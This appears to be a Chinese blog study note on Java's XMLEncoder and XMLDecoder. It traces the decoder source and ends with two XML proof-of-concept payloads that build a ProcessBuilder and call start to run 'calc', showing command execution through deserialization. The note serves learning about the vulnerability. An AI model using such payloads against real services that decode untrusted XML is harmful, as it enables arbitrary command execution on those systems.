前言
Apex打爽了,该偶尔学点东西了,就先摸个鱼吧。
XMLEncoder
新建个项目,写个简单的测试类,看起来需要这个类有一个public的无参构造函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package org.example;
public class Test { private String s;
public Test() { this(""); }
public Test(String s) { this.s = s; }
public String getS() { return this.s; }
public void setS(String s) { this.s = s; } @Override public String toString() { return "Test{" + "s='" + s + '\'' + '}'; } }
|
然后XMLEncode一下:
1 2 3
| XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("result.xml"))); e.writeObject(new Test("Hello,xml")); e.close();
|
结果:
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_281" class="java.beans.XMLDecoder"> <object class="org.example.Test"> <void property="s"> <string>Hello,xml</string> </void> </object> </java>
|
看起来java标签代表版本,里面保存了反序列化时使用的类;object标签保存了序列化的类名;void保存了成员数据。
XMLDecoder
尝试一下反序列化:
1 2 3 4
| XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("result.xml"))); Object result = d.readObject(); System.out.println(result); d.close();
|
结果:
去XMLDecoder的readObject函数看看,可以找到object标签解析器ObjectElementHandler和void标签解析器VoidElementHandler,其中ObjectElementHandler的处理函数addAttribute如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public final void addAttribute(String var1, String var2) { if (var1.equals("idref")) { this.idref = var2; } else if (var1.equals("field")) { this.field = var2; } else if (var1.equals("index")) { this.index = Integer.valueOf(var2); this.addArgument(this.index); } else if (var1.equals("property")) { this.property = var2; } else if (var1.equals("method")) { this.method = var2; } else { super.addAttribute(var1, var2); }
}
|
这里有一个很有意思的属性method,看起来可以用来调用任意函数:
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_281" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <object method="start"/> </object> </java>
|
虽然没有标明命令所应该归属的属性名,但是XMLDecoder会执行默认的new操作,从而将其交予了ProcessBuilder对象的command属性:
1
| var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
|
此外,VoidElementHandler是ObjectElementHandler的子类,所以void标签可以用来替代object标签:
1 2 3 4 5 6 7 8
| final class VoidElementHandler extends ObjectElementHandler { VoidElementHandler() { }
protected boolean isArgument() { return false; } }
|
也就是说:
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_281" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </void> </java>
|
这样也是可以的。
array和new标签还可以代替class标签来创建对象。
参考文章
https://xz.aliyun.com/t/8465